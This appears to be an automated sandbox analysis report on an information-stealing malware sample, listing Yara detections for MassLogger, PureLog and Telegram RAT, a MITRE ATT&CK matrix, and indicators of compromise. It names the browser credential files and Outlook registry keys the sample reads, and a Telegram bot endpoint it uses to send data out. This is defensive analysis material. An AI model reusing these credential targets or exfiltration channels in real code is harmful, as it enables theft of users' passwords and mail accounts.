Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MB263350411AE_1.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nDVstwLnVvg.exe PID: 7836, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.5310000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.2df45f0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.5310000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.2df45f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.2bd27c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.2b19e54.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1712307029.0000000005310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708901730.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MB263350411AE_1.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nDVstwLnVvg.exe PID: 7836, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MB263350411AE_1.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2908519169.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2907398360.00000000029F3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nDVstwLnVvg.exe PID: 7836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nDVstwLnVvg.exe PID: 8044, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MB263350411AE_1.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nDVstwLnVvg.exe PID: 7836, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.5310000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.2df45f0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.5310000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.2df45f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.2bd27c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.2b19e54.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1712307029.0000000005310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708901730.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MB263350411AE_1.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nDVstwLnVvg.exe PID: 7836, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	13 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
MB263350411AE_1.scr.exe	36%	Virustotal	Browse
MB263350411AE_1.scr.exe	24%	ReversingLabs
MB263350411AE_1.scr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	32%	ReversingLabs	ByteCode-MSIL.Virus.Virut
C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	36%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.16.1	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false		high
http://checkip.dyndns.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.apache.org/licenses/LICENSE-2.0	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designersG	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/?	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/bThe	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers?	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.orgd	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000296B000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000316B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://tempuri.org/DataSet1.xsd	MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr	false	high
http://www.tiro.com	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000293A000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000313C000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.goodfont.co.kr	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr	false	high
http://www.carterandcone.coml	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sajatypeworks.com	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.typography.netD	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/cabarga.htmlN	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/cThe	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/staff/dennis.htm	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/frere-user.html	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189l	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.comd	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.jiyu-kobo.co.jp/	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189d	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000296B000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000316B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.orgd	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/DPlease	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers8	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fonts.com	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sandoll.co.kr	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.urwpp.deDPlease	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.zhongyicts.com.cn	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/d	MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	MB263350411AE_1.scr.exe, 00000000.00000002.1708901730.00000000029E1000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1723040304.0000000003336000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000310C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sakkal.com	MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot-/sendDocument?chat_id=	MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.16.1	reallyfreegeoip.org	United States		13335	CLOUDFLARENETUS	false
193.122.130.0	checkip.dyndns.com	United States		31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590687
Start date and time:	2025-01-14 13:56:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MB263350411AE_1.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@18/11@2/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 99% Number of executed functions: 170 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.242.162, 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target MB263350411AE_1.scr.exe, PID 7768 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
